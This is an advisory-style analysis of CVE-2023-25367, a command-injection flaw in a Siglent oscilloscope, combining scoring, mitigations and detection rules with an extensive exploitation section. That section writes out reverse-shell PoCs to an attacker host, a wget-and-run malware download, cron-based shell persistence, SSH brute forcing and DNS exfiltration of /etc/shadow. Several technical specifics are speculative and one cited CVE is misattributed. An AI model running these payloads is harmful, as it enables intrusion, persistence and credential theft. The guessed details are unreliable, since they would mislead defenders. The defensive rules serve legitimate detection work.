Comprehensive Technical Analysis of CVE-2023-25367

CVE ID: CVE-2023-25367 CVSS Score: 9.8 (Critical) Affected Product: Siglent SDS 1104X-E (Firmware Version: SDS1xx4X-E_V6.1.37R9.ADS) Vulnerability Type: Remote Code Execution (RCE) via Unfiltered User Input

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1. Vulnerability Assessment & Severity Evaluation

Vulnerability Overview

CVE-2023-25367 is a critical remote code execution (RCE) vulnerability in Siglent’s SDS 1104X-E oscilloscope firmware, stemming from improper input validation in both the SCPI (Standard Commands for Programmable Instruments) interface and the embedded web server. The flaw allows unauthenticated attackers to execute arbitrary commands on the device with elevated privileges, leading to full system compromise.

Severity Justification (CVSS 9.8)

The CVSS v3.1 scoring breakdown is as follows:

Metric	Score	Justification
Attack Vector (AV)	Network	Exploitable remotely over LAN/WAN.
Attack Complexity (AC)	Low	No user interaction or special conditions required.
Privileges Required (PR)	None	No authentication needed.
User Interaction (UI)	None	Exploitable without victim action.
Scope (S)	Changed	Compromise affects the underlying OS, not just the application.
Confidentiality (C)	High	Full system access enables data exfiltration.
Integrity (I)	High	Arbitrary code execution allows tampering with device functionality.
Availability (A)	High	Attackers can crash or disable the device.

Result: 9.8 (Critical) – This vulnerability poses an extreme risk due to its low attack complexity, unauthenticated nature, and high impact on all security triad components (CIA).

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2. Potential Attack Vectors & Exploitation Methods

Attack Vectors

The vulnerability can be exploited via two primary interfaces:

1. SCPI Interface (Port 5025/TCP)

   • SCPI is a text-based command protocol used for instrument control.
   • The device fails to sanitize input, allowing command injection via maliciously crafted SCPI commands.
   • Example payload:

     :SYSTem:COMMand "echo 'malicious_payload' > /tmp/exploit.sh"
     

   • Follow-up commands can then execute the injected script.

2. Embedded Web Server (Port 80/443/TCP)

   • The web interface does not properly validate user-supplied input in HTTP requests.
   • Attackers can inject OS commands via:
     • HTTP GET/POST parameters (e.g., ?cmd=id)
     • HTTP headers (e.g., User-Agent: $(id))
     • File upload mechanisms (if present)
   • Example exploit:

     GET /set_config?cmd=wget%20http://attacker.com/malware.sh%20-O%20/tmp/malware.sh HTTP/1.1
     Host: <target_IP>
     

Exploitation Steps

1. Reconnaissance

   • Identify vulnerable devices via Shodan (port:5025 "Siglent" or port:80 "SDS1104X-E").
   • Fingerprint the firmware version (*IDN? SCPI command or web interface banner).

2. Initial Access

   • SCPI Exploitation:
     • Send a crafted SCPI command to inject a reverse shell or download a payload.
     • Example (Python):

       import socket
       s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
       s.connect(("<target_IP>", 5025))
       s.send(b":SYSTem:COMMand \"nc -e /bin/sh <attacker_IP> 4444\"\n")
       

   • Web Exploitation:
     • Use Burp Suite or curl to inject commands via HTTP parameters.
     • Example:

       curl "http://<target_IP>/set_config?cmd=busybox%20nc%20<attacker_IP>%204444%20-e%20/bin/sh"
       

3. Post-Exploitation

   • Privilege Escalation: The device likely runs as root (common in embedded Linux systems).
   • Persistence: Modify startup scripts (/etc/init.d/, /etc/rc.local).
   • Lateral Movement: Use the compromised oscilloscope as a pivot point in the network.
   • Data Exfiltration: Extract sensitive measurements, network configurations, or stored credentials.

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3. Affected Systems & Software Versions

Vulnerable Product

• Siglent SDS 1104X-E (4-channel digital oscilloscope)
• Firmware Version: SDS1xx4X-E_V6.1.37R9.ADS (and likely earlier versions)
• Interfaces at Risk:
  • SCPI (Port 5025/TCP)
  • Web Server (Port 80/443/TCP)

Potential Impact on Other Models

While this CVE specifically mentions the SDS 1104X-E, similar vulnerabilities may exist in:

• SDS1204X-E (higher bandwidth variant)
• SDS2000X-E series (if sharing the same firmware base)
• Other Siglent test equipment with SCPI/web interfaces (e.g., signal generators, spectrum analyzers).

Recommendation: Organizations should audit all Siglent devices for similar flaws.

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4. Recommended Mitigation Strategies

Immediate Actions (Short-Term)

1. Network Isolation

   • Restrict access to SCPI (5025/TCP) and web interfaces (80/443/TCP) via:
     • Firewall rules (allow only trusted IPs).
     • VLAN segmentation (isolate test equipment from corporate networks).
   • Disable remote access if not required.

2. Firmware Update

   • Check for patches on Siglent’s official website.
   • If no patch is available, contact Siglent support for a hotfix.

3. Disable Unused Services

   • If SCPI is not required, disable it via device settings.
   • Disable the web interface if remote management is unnecessary.

4. Monitor for Exploitation Attempts

   • Deploy IDS/IPS rules (e.g., Snort/Suricata) to detect:
     • SCPI command injection patterns (:SYSTem:COMMand followed by shell metacharacters).
     • Web-based command injection (;, &&, |, $() in HTTP requests).
   • Example Snort rule:

     alert tcp any any -> $HOME_NET 5025 (msg:"Siglent SCPI Command Injection Attempt"; flow:to_server,established; content:":SYSTem:COMMand"; pcre:"/:SYSTem:COMMand\s*[;|&$]/i"; sid:1000001; rev:1;)
     

Long-Term Mitigations

1. Input Validation & Sanitization

   • SCPI Interface: Implement strict whitelisting of allowed commands.
   • Web Server: Use parameterized queries and output encoding to prevent injection.

2. Authentication & Authorization

   • Enforce SCPI authentication (e.g., *IDN? followed by a challenge-response mechanism).
   • Require HTTPS with client certificates for web access.
   • Implement role-based access control (RBAC) for sensitive commands.

3. Firmware Hardening

   • Disable unnecessary services (e.g., Telnet, FTP, unused ports).
   • Enable ASLR, DEP, and stack canaries (if running on Linux).
   • Sign firmware updates to prevent tampering.

4. Network-Level Protections

   • Deploy Zero Trust Network Access (ZTNA) for test equipment.
   • Use VPNs for remote access instead of exposing interfaces directly.

5. Vendor Coordination

   • Report vulnerabilities to Siglent via their security contact.
   • Monitor for patches and apply them immediately upon release.

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5. Impact on the Cybersecurity Landscape

Broader Implications

1. Industrial & Research Environments at Risk

   • Oscilloscopes are critical tools in R&D labs, manufacturing, and telecommunications.
   • Compromise could lead to:
     • IP theft (e.g., proprietary circuit designs, signal analysis data).
     • Sabotage (e.g., altering measurements to cause product failures).
     • Supply chain attacks (e.g., backdooring firmware for downstream exploitation).

2. Increased Attack Surface in IoT/OT

   • Many embedded devices (e.g., test equipment, medical devices, industrial controllers) use SCPI or similar protocols.
   • This vulnerability highlights the lack of security in legacy instrumentation protocols.

3. Exploitation by APTs & Cybercriminals

   • State-sponsored actors may exploit this for espionage (e.g., stealing sensitive research).
   • Ransomware groups could target labs/manufacturers for double extortion.
   • Initial access brokers (IABs) may sell access to compromised devices.

4. Regulatory & Compliance Risks

   • NIST SP 800-53 (CM-7, SI-3): Failure to patch may violate compliance.
   • ISO 27001 (A.12.6.1): Lack of vulnerability management increases risk.
   • GDPR (if processing EU data): Unauthorized access could lead to data breach notifications.

Historical Context

• Similar vulnerabilities have been found in Keysight, Tektronix, and Rohde & Schwarz test equipment.
• CVE-2019-6447 (Keysight 34465A DMM) – RCE via SCPI.
• CVE-2021-34999 (Tektronix Oscilloscopes) – Command injection in web interface.
• Lesson Learned: Test equipment is often overlooked in security assessments but can be a high-value target.

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6. Technical Details for Security Professionals

Root Cause Analysis

The vulnerability stems from improper input handling in two components:

1. SCPI Command Parser

   • The SYSTem:COMMand SCPI directive allows arbitrary shell command execution.
   • No sanitization is applied to user-supplied input, enabling command chaining (e.g., ;, &&, |).
   • Example vulnerable code (pseudo-C):

     void handle_scpi_command(char *cmd) {
         char system_cmd[256];
         snprintf(system_cmd, sizeof(system_cmd), "/bin/sh -c \"%s\"", cmd);
         system(system_cmd); // UNSAFE: Direct shell execution
     }
     

2. Web Server (Likely Lighttpd or Custom HTTPD)

   • HTTP parameters are passed directly to system calls without validation.
   • Example vulnerable PHP-like logic (if applicable):

     $cmd = $_GET['cmd'];
     system($cmd); // UNSAFE: No input sanitization
     

Exploitation Proof of Concept (PoC)

SCPI-Based RCE

import socket

TARGET_IP = "192.168.1.100"
TARGET_PORT = 5025
ATTACKER_IP = "10.0.0.5"
ATTACKER_PORT = 4444

# Reverse shell payload
payload = f":SYSTem:COMMand \"nc -e /bin/sh {ATTACKER_IP} {ATTACKER_PORT}\""

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((TARGET_IP, TARGET_PORT))
s.send(payload.encode() + b"\n")
s.close()

Web-Based RCE

curl "http://192.168.1.100/set_config?cmd=wget%20http://attacker.com/malware.sh%20-O%20/tmp/malware.sh%20%26%26%20chmod%20%2Bx%20/tmp/malware.sh%20%26%26%20/tmp/malware.sh"

Post-Exploitation Analysis

1. Privilege Level

   • Likely root (common in embedded Linux devices).
   • Check with:

     id
     cat /etc/passwd
     

2. Persistence Mechanisms

   • Modify /etc/init.d/rcS or /etc/rc.local.
   • Add a cron job:

     echo "* * * * * /bin/nc -e /bin/sh <attacker_IP> 4444" >> /var/spool/cron/crontabs/root
     

3. Lateral Movement

   • Use the oscilloscope as a pivot point to attack other devices on the network.
   • Example:

     arp-scan -l  # Discover other hosts
     sshpass -p "password" ssh user@192.168.1.200  # Brute-force SSH
     

4. Data Exfiltration

   • SCP/SFTP sensitive files:

     scp /var/log/measurements.csv attacker@10.0.0.5:/tmp/
     

   • DNS exfiltration (if outbound DNS is allowed):

     for byte in $(xxd -p -c 1 /etc/shadow); do dig $byte.attacker.com; done
     

Forensic Indicators of Compromise (IoCs)

Indicator	Description
Network Traffic	Unusual SCPI commands (:SYSTem:COMMand) or HTTP requests with shell metacharacters.
Processes	Unexpected nc, wget, curl, or sh processes.
Files	New files in /tmp/, /var/tmp/, or /etc/init.d/.
Logs	Suspicious entries in /var/log/messages or web server logs.
Persistence	Modified /etc/rc.local, /etc/crontab, or /etc/init.d/.

Detection & Hunting Queries

SIEM Rules (Splunk/ELK)

# SCPI Command Injection Detection
index=network sourcetype=scpi
| search ":SYSTem:COMMand" AND (";" OR "&&" OR "|" OR "$(" OR "`")
| stats count by src_ip, dest_ip, command
| sort -count

# Web Command Injection Detection
index=web sourcetype=access_combined
| search "cmd=" AND (";" OR "&&" OR "|" OR "$(" OR "`")
| stats count by src_ip, dest_ip, uri
| sort -count

YARA Rule for Malicious SCPI Payloads

rule Siglent_SCPI_Command_Injection {
    meta:
        description = "Detects SCPI command injection attempts in Siglent devices"
        author = "Cybersecurity Analyst"
        reference = "CVE-2023-25367"
    strings:
        $scpi_cmd = ":SYSTem:COMMand"
        $shell_metachar = /[;|&$`<>]/
    condition:
        $scpi_cmd and $shell_metachar
}

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Conclusion & Recommendations

Key Takeaways

• CVE-2023-25367 is a critical RCE vulnerability with CVSS 9.8, allowing unauthenticated remote exploitation.
• Attack vectors include SCPI and web interfaces, both of which suffer from command injection flaws.
• Affected organizations must patch immediately or implement network-level mitigations (isolation, firewalls).
• Security teams should monitor for exploitation attempts and hunt for IoCs in logs.

Action Plan for Security Teams

1. Patch Management

   • Apply Siglent’s latest firmware as soon as available.
   • If no patch exists, contact Siglent support for a workaround.

2. Network Hardening

   • Isolate test equipment in a dedicated VLAN.
   • Block SCPI (5025/TCP) and web (80/443/TCP) at the firewall unless absolutely necessary.

3. Detection & Response

   • Deploy IDS/IPS rules to detect exploitation attempts.
   • Monitor logs for suspicious SCPI/web activity.
   • Hunt for IoCs (unexpected processes, modified files).

4. Vendor Coordination

   • Report new vulnerabilities to Siglent.
   • Encourage Siglent to adopt secure coding practices (input validation, least privilege).

5. Long-Term Security Improvements

   • Audit all test equipment for similar vulnerabilities.
   • Implement Zero Trust for critical lab environments.
   • Train staff on secure usage of SCPI/web interfaces.

Final Risk Assessment

Factor	Risk Level	Justification
Exploitability	High	Unauthenticated, low complexity.
Impact	Critical	Full system compromise, data theft, sabotage.
Mitigation Feasibility	Medium	Patching may be delayed; network controls can reduce risk.
Threat Actor Interest	High	APTs, cybercriminals, and insider threats.

Overall Risk: Critical – Immediate action is required to prevent exploitation.

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References:

• CVE-2023-25367 Exploit Details (GitHub)
• Siglent Official Website
• NIST NVD Entry